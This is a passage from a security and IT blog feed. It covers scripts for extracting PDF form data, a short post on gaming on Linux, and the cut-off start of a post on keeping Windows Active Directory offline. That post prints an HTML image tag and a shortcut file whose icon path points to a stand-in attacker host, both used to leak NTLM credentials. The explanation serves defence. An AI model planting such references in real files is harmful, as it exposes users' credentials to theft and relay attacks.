&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>OUT_FILE&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;./exportfile.csv&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">for&lt;/span> f in *.json; &lt;span style="color:#66d9ef">do&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> jq -r &lt;span style="color:#e6db74">&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> (.forms[0] // {}) as $f
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> | (($f.textfield // []) + ($f.datefield // []) + ($f.radiobuttongroup // []))
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> | map({key:.name, value:(.value // &amp;#34;&amp;#34;)}) | from_entries
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> | [.Datum, .Firma, .Funktion, .Unterschrift, .Email, .Rufnummer,
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> .[&amp;#34;1&amp;#34;], .[&amp;#34;2&amp;#34;], .[&amp;#34;3&amp;#34;], .[&amp;#34;4&amp;#34;], .[&amp;#34;5&amp;#34;], .[&amp;#34;6&amp;#34;], .[&amp;#34;7&amp;#34;]]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> | @csv
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> &amp;#39;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$f&lt;span style="color:#e6db74">&amp;#34;&lt;/span> &amp;gt;&amp;gt; &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$OUT_FILE&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">done&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Often CSV files still represent the only way of data exchange between systems. Mostly in Combination with another absurdity: Storing them on SMB network shares across intentionally separated VLAN security zones. A nightmare for operations and information security aswell.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20251012-jq.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20251012-jq.webp#c" alt="Interaction of pdfcpu and jq using a PDF form" loading="lazy"/>&lt;small>Interaction of pdfcpu and jq using a PDF form&lt;/small>&lt;/picture>
&lt;/p>
&lt;h3 id="sending-to-a-rest-api">Sending to a REST API&lt;/h3>
&lt;p>A much more modern approach is, of course, data exchange via a REST API.&lt;sup id="fnref:16">&lt;a href="#fn:16" class="footnote-ref" role="doc-noteref">16&lt;/a>&lt;/sup> For older applications that don’t have one, you can take a peek at my REST API skeleton and adapt it. That at least helps to ease some of the operational pain around SMB shares and security.&lt;sup id="fnref:17">&lt;a href="#fn:17" class="footnote-ref" role="doc-noteref">17&lt;/a>&lt;/sup>&lt;/p>
&lt;p>The following snippet shows how to use jq to retrieve the collected contents of many PDF forms in a directory and send them to a REST API using curl:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>API_URL&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;https://any-rest.api&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>API_TOKEN&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;**SECURITY-TOKEN***&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">for&lt;/span> f in *.json; &lt;span style="color:#66d9ef">do&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> PAYLOAD&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>jq -c &lt;span style="color:#e6db74">&amp;#39;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> (.forms[0] // {}) as $f
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> | (($f.textfield // []) + ($f.datefield // []) + ($f.radiobuttongroup // []))
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> | map({key:.name, value:(.value // &amp;#34;&amp;#34;)}) | from_entries
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> | {
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> datum: .Datum,
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> firma: .Firma,
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> funktion: .Funktion,
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> unterschrift: .Unterschrift,
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> email: .Email,
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> rufnummer: .Rufnummer,
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> antworten: {
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> &amp;#34;1&amp;#34;: .[&amp;#34;1&amp;#34;], &amp;#34;2&amp;#34;: .[&amp;#34;2&amp;#34;], &amp;#34;3&amp;#34;: .[&amp;#34;3&amp;#34;], &amp;#34;4&amp;#34;: .[&amp;#34;4&amp;#34;],
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> &amp;#34;5&amp;#34;: .[&amp;#34;5&amp;#34;], &amp;#34;6&amp;#34;: .[&amp;#34;6&amp;#34;], &amp;#34;7&amp;#34;: .[&amp;#34;7&amp;#34;]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> },
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> }
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#e6db74"> &amp;#39;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$f&lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> HTTP_CODE&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> curl -sS -o &lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>mktemp /tmp/XXXXXX.json&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span> -w &lt;span style="color:#e6db74">&amp;#39;%{HTTP_CODE}&amp;#39;&lt;/span> &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> -X POST &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$API_URL&lt;span style="color:#e6db74">&amp;#34;&lt;/span> &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> -H &lt;span style="color:#e6db74">&amp;#34;Authorization: Bearer &lt;/span>$API_TOKEN&lt;span style="color:#e6db74">&amp;#34;&lt;/span> &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> -H &lt;span style="color:#e6db74">&amp;#34;Content-Type: application/json&amp;#34;&lt;/span> &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span> --data-raw &lt;span style="color:#e6db74">&amp;#34;&lt;/span>$PAYLOAD&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">done&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>With this post I wanted to show how processing of filled PDF forms can look like. The snippets are intentionally just rough sketches but pointing in the right direction. For real-world production use of course a few more details are required, details that Copilot and ChatGPT of course don’t provide.&lt;/p>
&lt;p>I’m happy to offer my expertise wherever digitization should be sustainable, automated, and - above all - independent of proprietary and costly solutions.&lt;/p>
&lt;p>Or, to put it more provocatively: Anyone who uses PDF forms without automating their further processing is actively preventing digitalization.&lt;/p>
&lt;p>With that said,&lt;br>
Yours,&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/PDF">https://en.wikipedia.org/wiki/PDF&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/PostScript">https://en.wikipedia.org/wiki/PostScript&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://github.com/ading2210/doompdf">https://github.com/ading2210/doompdf&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://arxiv.org/abs/2410.09871">https://arxiv.org/abs/2410.09871&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20250805-risiko-rechnung-emails/">https://blog.jakobs.systems/blog/20250805-risiko-rechnung-emails/&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/PDF/A">https://en.wikipedia.org/wiki/PDF/A&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://blog.jakobs.systems/blog/20220514-pdfarranger-viewer-windows/">https://blog.jakobs.systems/blog/20220514-pdfarranger-viewer-windows/&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="https://learn.microsoft.com/en-us/answers/questions/5359733/how-do-i-convert-a-word-document-to-a-fillable-pdf">https://learn.microsoft.com/en-us/answers/questions/5359733/how-do-i-convert-a-word-document-to-a-fillable-pdf&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9">
&lt;p>&lt;a href="https://youtube.com/watch?v=-zLTSaIL9N0">https://youtube.com/watch?v=-zLTSaIL9N0&lt;/a>&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:10">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Vendor_lock-in">https://en.wikipedia.org/wiki/Vendor_lock-in&lt;/a>&amp;#160;&lt;a href="#fnref:10" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:11">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Object_storage">https://en.wikipedia.org/wiki/Object_storage&lt;/a>&amp;#160;&lt;a href="#fnref:11" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:12">
&lt;p>&lt;a href="https://github.com/pdfcpu/pdfcpu">https://github.com/pdfcpu/pdfcpu&lt;/a>&amp;#160;&lt;a href="#fnref:12" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:13">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/Jq_(programming_language)">https://en.wikipedia.org/wiki/Jq_(programming_language)&lt;/a>&amp;#160;&lt;a href="#fnref:13" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:14">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/CURL">https://en.wikipedia.org/wiki/CURL&lt;/a>&amp;#160;&lt;a href="#fnref:14" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:15">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/JSON">https://en.wikipedia.org/wiki/JSON&lt;/a>&amp;#160;&lt;a href="#fnref:15" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:16">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/REST">https://en.wikipedia.org/wiki/REST&lt;/a>&amp;#160;&lt;a href="#fnref:16" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:17">
&lt;p>&lt;a href="https://codeberg.org/tomas-jakobs/rest-api-skeleton">https://codeberg.org/tomas-jakobs/rest-api-skeleton&lt;/a>&amp;#160;&lt;a href="#fnref:17" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>What to do when Microsoft threatens with EOL?</title><link>https://blog.jakobs.systems/en/micro/20251007-gaming-linux/</link><pubDate>Tue, 07 Oct 2025 17:50:47 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20251007-gaming-linux/</guid><description>Install Linux: The last bare-metal Windows installation in the household, my dedicated gaming machine, has recently been reinstalled with GNU/Linux Debian.</description><category>Windows</category><category>Linux</category><category>Steam</category><category>Debian</category><category>Games</category><content>&lt;p>Simple: Install Linux!&lt;/p>
&lt;p>Okay, that might sound too blunt, Tomas, but it&amp;rsquo;s true: The last bare-metal Windows installation in the household, my dedicated &amp;ldquo;gaming machine&amp;rdquo;, has recently been reinstalled with GNU/Linux Debian. Microsoft&amp;rsquo;s passive-aggressive Windows 10 EOL threat doesn’t work on me, or at least not in intended way.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20251007-linux-steam-dayz.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20251007-linux-steam-dayz.webp#c" alt="Screenshot of Steam on Linux with DayZ and htop" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>I was surprised to find out that Steam games not only just run but also have a approx 10–15% speed bump. And that’s on my old nVidia 1070. Impressive!&lt;/p>
&lt;p>So I no longer can claim: Windows is only good for gaming.&lt;/p>
&lt;p>With that in mind,&lt;br>
Tomas Jakobs&lt;/p></content></item><item><title>Why Every Windows AD Should Be Kept Offline</title><link>https://blog.jakobs.systems/en/blog/20251005-ntlm-offline/</link><pubDate>Sun, 05 Oct 2025 06:00:00 +0200</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20251005-ntlm-offline/</guid><description>Not just since my seven security tips have I been getting questions about why I keep Windows and an AD offline. In this blog post, I provide context, explain the technical background, and lay out how ransomware works. Finally I show how even with an offline-operated AD, people can still work with the internet and email as usual.</description><category>Windows</category><category>AD</category><category>Security</category><category>Concepts</category><category>NTLM</category><content>&lt;p>Not only since my seven security tips&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> have I been getting questions about why I prefer to keep Windows and an Active Directory&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> offline. That may sound inflexible, and in an era of AI-generated cybersecurity slop&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> I may look like an outsider.&lt;/p>
&lt;p>So in today’s blog post I provide more context, explain the technical background, and lay out how ransomware works. Finally, I show how an AD operated offline can still be used with the internet and email as usual.&lt;/p>
&lt;h2 id="contextualization">Contextualization&lt;/h2>
&lt;p>Firstly a few words for better orientation with statements most will agree with:&lt;/p>
&lt;ul>
&lt;li>A single technical measure is rarely the solution to a larger, complex problem.&lt;/li>
&lt;li>All technical measures inherently have flaws and add complexity, which increases risks and the attack surface.&lt;/li>
&lt;/ul>
&lt;p>We are dealing with the so-called Swiss cheese model, first described scientifically by James Reason&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup> when analyzing aviation accidents. Many years ago, I wrote about this on the neighboring blog.&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup>&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20251005-kaesemodell.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20251005-kaesemodell.webp#c" alt="James Reason’s layered Swiss-cheese model" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Applied to IT this means: A measure such as an offline kept AD is only one protective layer. Taken on its own it&amp;rsquo;s only quite effective. The benefit of risk reduction arises only in combination with other protective and independent layers. So that a trajectory of accident opportunity does not punch through the protective layers as shown in the sketch.&lt;/p>
&lt;p>These layers can also be non-technical in nature for example: Standard operation procedures (SOP) saying that all administrative interventions must be conducted in combination with tickets. Perfectly sufficient and accepted for audit trails.&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup>&lt;/p>
&lt;p>Application whitelisting and antivirus programs are examples of technical protective layers, more on these later.&lt;/p>
&lt;h2 id="the-structural-problem-in-every-windows">The structural problem in every Windows&lt;/h2>
&lt;p>It&amp;rsquo;s in the nature of things that an IT system performs authentication when accessing a resource. Put simply, modern systems exchange cryptographic keys in the background so that users do not have to re-enter their credentials every time.&lt;/p>
&lt;p>Microsoft Windows attempts to perform this key exchange in newer versions using the relatively secure Kerberos protocol&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup>. With misconfiguration or older systems, however, a protocol downgrade&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup> can occur and NTLM&lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup> in its various versions continues to be accepted.&lt;/p>
&lt;p>NTLM is old. Nomen est omen: It&amp;rsquo;s the successor of the 1980s LAN Manager&lt;sup id="fnref:10">&lt;a href="#fn:10" class="footnote-ref" role="doc-noteref">10&lt;/a>&lt;/sup> for the NT platform&lt;sup id="fnref:11">&lt;a href="#fn:11" class="footnote-ref" role="doc-noteref">11&lt;/a>&lt;/sup> and has been considered insecure since the late 1990s.&lt;sup id="fnref:12">&lt;a href="#fn:12" class="footnote-ref" role="doc-noteref">12&lt;/a>&lt;/sup> The problem has been known for decades and is structurally present in all Windows versions.&lt;/p>
&lt;p>Microsoft does recommend disabling NTLM or at least reducing it.&lt;sup id="fnref:13">&lt;a href="#fn:13" class="footnote-ref" role="doc-noteref">13&lt;/a>&lt;/sup> Unfortunately, the GPO and registry settings for this remain disabled by default on every server to this day.&lt;sup id="fnref:14">&lt;a href="#fn:14" class="footnote-ref" role="doc-noteref">14&lt;/a>&lt;/sup> The &amp;ldquo;holy cow of backward compatibility&amp;rdquo;, which I already discussed in another blog post&lt;sup id="fnref:15">&lt;a href="#fn:15" class="footnote-ref" role="doc-noteref">15&lt;/a>&lt;/sup>, leaves operators behind.&lt;sup id="fnref:16">&lt;a href="#fn:16" class="footnote-ref" role="doc-noteref">16&lt;/a>&lt;/sup> Numerous legacy programs and services buried deep in Windows behind all the fancy UI still continue to communicate using NTLM.&lt;sup id="fnref:17">&lt;a href="#fn:17" class="footnote-ref" role="doc-noteref">17&lt;/a>&lt;/sup>&lt;/p>
&lt;p>There is also the aggravating fact that in practice you find hardly a network without older machines. Disabling NTLM would block file exchange with these. My saddest find so far: In 2021 I found a NT4 Workstation on an industrial site.&lt;sup id="fnref:18">&lt;a href="#fn:18" class="footnote-ref" role="doc-noteref">18&lt;/a>&lt;/sup>&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20211121-industrie-nt-4.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20211121-industrie-nt-4.webp#c" alt="Windows NT Workstation in 2021" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;h2 id="exfiltration-of-ntlm-keys">Exfiltration of NTLM keys&lt;/h2>
&lt;p>Why is NTLM so dangerous today? Just one example makes it clear how NTLM keys can be easily extracted and nowadays decrypted even online.&lt;sup id="fnref:19">&lt;a href="#fn:19" class="footnote-ref" role="doc-noteref">19&lt;/a>&lt;/sup> Any resource embedded in HTML that points to an SMB share causes a Windows system to disclose its keys (NTLM response):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-html" data-lang="html">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&amp;lt;!DOCTYPE html&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;&lt;span style="color:#f92672">html&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#f92672">head&lt;/span>&amp;gt;&amp;lt;/&lt;span style="color:#f92672">head&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#f92672">body&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;&lt;span style="color:#f92672">img&lt;/span> &lt;span style="color:#a6e22e">src&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;file://\\ip-or-dns-evil-host\share\dummy.png&amp;#34;&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;/&lt;span style="color:#f92672">body&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;/&lt;span style="color:#f92672">html&lt;/span>&amp;gt;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It gets even more trivial in Windows Explorer shortcuts:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-ini" data-lang="ini">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">[InternetShortcut]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">URL&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">https://wellknown-host&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">IconIndex&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#a6e22e">IconFile&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">\\ip-or-dns-evil-host\leak\leak.ico&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When uncontrolled communication to the internet is possible, Windows willingly shares its keys.&lt;sup id="fnref:20">&lt;a href="#fn:20" class="footnote-ref" role="doc-noteref">20&lt;/a>&lt;/sup> Telekom and other ISPs have blocked outbound SMB port 445 in the consumer segment since WannaCry,&lt;sup id="fnref:21">&lt;a href="#fn:21" class="footnote-ref" role="doc-noteref">21&lt;/a>&lt;/sup> but not in business tariffs and even less does that bother an attacker. For years, rogue servers&lt;sup id="fnref:22">&lt;a href="#fn:22" class="footnote-ref" role="doc-noteref">22&lt;/a>&lt;/sup> have collected keys directly on affected machines and forwarded them for further poisoning, pass-the-hash, or relay attacks.&lt;sup id="fnref:23">&lt;a href="#fn:23" class="footnote-ref" role="doc-noteref">23&lt;/a>&lt;/sup> As shown in the screenshot below, a simple &amp;ldquo;dir&amp;rdquo; is needed:&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/20251005-ntlm-leak.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/20251005-ntlm-leak.webp#c" alt="Exfiltrating NTLM with a simple dir command to a UNC share" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Windows doesn’t lose its keys only through SMB port 445. Microsoft has always been very creative when it comes to expanding the attack surface by softening protocol boundaries. Over the years numerous SMB features and authentication options have been added. SMB Direct&lt;sup id="fnref:24">&lt;a href="#fn:24" class="footnote-ref" role="doc-noteref">24&lt;/a>&lt;/sup> or SMB over QUIC on UDP 443&lt;sup id="fnref:25">&lt;a href="#fn:25" class="footnote-ref" role="doc-noteref">25&lt;/a>&lt;/sup> come to mind first. Depending on IIS configuration on any Exchange or RDS terminal server, authentication can also occur via TCP 443 or, if an admin isn’t careful, even unencrypted via TCP 80 using BasicAuth&lt;sup id="fnref:26">&lt;a href="#fn:26" class="footnote-ref" role="doc-noteref">26&lt;/a>&lt;/sup>.&lt;/p>
&lt;h2 id="how-ransomware-works">How Ransomware Works&lt;/h2>
&lt;p>Ransomware attacks can be broken down into two fundamental intermediate objectives:&lt;/p>
&lt;ul>
&lt;li>Execution of administrative tools and executables&lt;/li>
&lt;li>Establishing a communication channel&lt;/li>
&lt;/ul>
&lt;p>This quickly makes it clear how essential Application Whitelisting&lt;sup id="fnref:27">&lt;a href="#fn:27" class="footnote-ref" role="doc-noteref">27&lt;/a>&lt;/sup> and an offline AD are. Application Whitelisting prevents the execution of a captured dropper.&lt;sup id="fnref:28">&lt;a href="#fn:28" class="footnote-ref" role="doc-noteref">28&lt;/a>&lt;/sup> Taking the AD offline prevents the download of the payload,&lt;sup id="fnref:29">&lt;a href="#fn:29" class="footnote-ref" role="doc-noteref">29&lt;/a>&lt;/sup> often a reverse shell&lt;sup id="fnref:30">&lt;a href="#fn:30" class="footnote-ref" role="doc-noteref">30&lt;/a>&lt;/sup> for communication with one or more command-and-control hosts (C&amp;amp;C) on the internet.&lt;sup id="fnref:31">&lt;a href="#fn:31" class="footnote-ref" role="doc-noteref">31&lt;/a>&lt;/sup>&lt;/p>
&lt;p>If an attacker achieves only one of the two objectives, the attack fizzles out and remains limited to individual machines that can easily be replaced or cleaned up.&lt;/p>
&lt;p>The reverse situation means victory for the attacker. The following steps present little difficulty in typical Windows AD scenarios:&lt;/p>
&lt;ul>
